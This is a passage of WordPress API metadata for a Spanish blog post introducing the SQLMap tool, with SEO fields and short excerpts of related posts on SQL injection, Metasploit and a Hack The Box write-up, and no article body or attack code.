Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2024-01-25T21:54:45+00:00","article_modified_time":"2024-03-02T17:18:27+00:00","og_image":[{"width":724,"height":362,"url":"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png","type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"6 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico.","datePublished":"2024-01-25T21:54:45+00:00","dateModified":"2024-03-02T17:18:27+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/"},"wordCount":1238,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?fit=724%2C362&ssl=1","keywords":["aprendizaje de pentesting","ataque y defensa cibern\u00e9tica.","Ciberseguridad","explotaci\u00f3n de bases de datos","hacking \u00e9tico","Herramientas de seguridad","inyecci\u00f3n SQL","pentesting","Pruebas de penetraci\u00f3n","seguridad inform\u00e1tica","sqlmap","vulnerabilidades SQL"],"articleSection":["Gu\u00edas","Seguridad inform\u00e1tica"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/","name":"\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico. - Hardsoft Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?fit=724%2C362&ssl=1","datePublished":"2024-01-25T21:54:45+00:00","dateModified":"2024-03-02T17:18:27+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"description":"Aprende a como usar la herramienta SQLMap con nuestra gu\u00eda a trav\u00e9s de un caso pr\u00e1ctico explotando injecciones SQL.","breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?fit=724%2C362&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?fit=724%2C362&ssl=1","width":724,"height":362},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico."}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing (In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-WG","jetpack-related-posts":[{"id":1438,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/02\/01\/como-explotar-inyeccion-sql-con-sqlmap\/","url_meta":{"origin":3638,"position":0},"title":"Como explotar inyecci\u00f3n SQL con SQLmap.","author":"david","date":"febrero 1, 2018","format":false,"excerpt":"Hola a tod@s, aprovechando la anterior entrada\u00a0que trata de la b\u00fasqueda autom\u00e1tica de p\u00e1ginas web vulnerables a inyecciones SQL, aprovechar\u00e9 esta entrada para hacer una gu\u00eda b\u00e1sica de como explotar esta vulnerabilidad con la herramienta SQLmap. As\u00ed describe la web oficial de SQLmap la herramienta: SQLmap es una herramienta de\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/sqlinjection2.png?fit=1140%2C600&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":1424,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/02\/01\/sqliv-buscar-automaticamente-paginas-web-con-inyecciones-sql\/","url_meta":{"origin":3638,"position":1},"title":"SQLiv, buscar autom\u00e1ticamente p\u00e1ginas web con inyecciones SQL.","author":"david","date":"febrero 1, 2018","format":false,"excerpt":"Hola a tod@s hoy os traigo una herramienta que me ha gustado bastante, esta herramienta se basa en al b\u00fasqueda automatizada de p\u00e1ginas vulnerables a inyecciones SQL. Seg\u00fan descrito por su creador en su GitHub, esta herramienta es utilizada para la b\u00fasqueda masiva de inyecciones sql, tambi\u00e9n menciona que la\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/SQL-Injection.jpg?fit=1000%2C482&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/SQL-Injection.jpg?fit=1000%2C482&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/SQL-Injection.jpg?fit=1000%2C482&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/SQL-Injection.jpg?fit=1000%2C482&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":509,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2015\/07\/07\/analisis-de-vulnerabilidades-recogida-de-informacion-parte-1\/","url_meta":{"origin":3638,"position":2},"title":"An\u00e1lisis de vulnerabilidades, recogida de informaci\u00f3n. Parte 1.","author":"david","date":"julio 7, 2015","format":false,"excerpt":"Para esta pr\u00e1ctica de seguridad inform\u00e1tica m\u00e1s dirigida al pentesting, se necesitar\u00e1n ciertas herramientas de escaneo de vulnerabilidades y explotaci\u00f3n de las mismas. La siguiente pr\u00e1ctica consiste en utilizar ciertas herramientas de escaneo y explotaci\u00f3n de vulnerabilidades, utiliz\u00e1ndolas contra un servidor Linux,espec\u00edficamente el servidor que nos proporciona metaploitable, para saber\u2026","rel":"","context":"En \u00abSeguridad inform\u00e1tica\u00bb","block_context":{"text":"Seguridad inform\u00e1tica","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/seguridad-informatica\/"},"img":{"alt_text":"cyber-security","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/01\/cyber-security-e1436271547505.jpg?resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/01\/cyber-security-e1436271547505.jpg?resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/01\/cyber-security-e1436271547505.jpg?resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2015\/01\/cyber-security-e1436271547505.jpg?resize=700%2C400 2x"},"classes":[]},{"id":3583,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/27\/preparar-ecpptv2\/","url_meta":{"origin":3638,"position":3},"title":"\u00bfC\u00f3mo PREPARAR la certificaci\u00f3n eCPPTV2?","author":"david","date":"noviembre 27, 2023","format":false,"excerpt":"Hoy, me complace profundizar en \"\u00bfC\u00f3mo preparar la certificaci\u00f3n eCPPTv2 (Certified Professional Penetration Tester)?\", una credencial que he obtenido recientemente y que ha marcado un punto de inflexi\u00f3n significativo en mi carrera en seguridad inform\u00e1tica. Esta certificaci\u00f3n no solo ha ampliado mi conocimiento t\u00e9cnico sino que tambi\u00e9n ha reforzado mi\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-13.png?fit=1200%2C569&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":996,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2016\/08\/07\/pentesting-con-kali-linux-metasploit-vm\/","url_meta":{"origin":3638,"position":4},"title":"Pentesting con Kali Linux. Metasploit VM.","author":"david","date":"agosto 7, 2016","format":false,"excerpt":"Hola a todos hoy os traigo otro v\u00eddeo, donde ense\u00f1o las bases de un pentesting, recogida de informaci\u00f3n, an\u00e1lisis de la informaci\u00f3n y explotaci\u00f3n, llegando al premio gordo (backdoor), despu\u00e9s de unas cuantas semanas llego con este v\u00eddeo sobre seguridad inform\u00e1tica, espero que os guste. Pentesting con Kali Linux. Metasploit\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2016\/08\/czltsxu4rfefo2sprcsk_pentesting.jpg?fit=480%2C270&ssl=1&resize=350%2C200","width":350,"height":200},"classes":[]},{"id":3174,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/","url_meta":{"origin":3638,"position":5},"title":"Hack The Box | Stocker | Write Up","author":"david","date":"agosto 23, 2023","format":false,"excerpt":"Just tackled the \u2018Stocker\u2019 machine on #HackTheBox. Loved the explotation of web vulnerabilities and the challenge of the injections! If you\u2019re into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec We will check which kind of services are running in this machine with NMAP: sudo nmap -sT\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=1050%2C600 3x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?fit=724%2C362&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3638","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3638"}],"version-history":[{"count":9,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3638\/revisions"}],"predecessor-version":[{"id":3648,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3638\/revisions\/3648"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3639"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3638"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3638"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3638"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}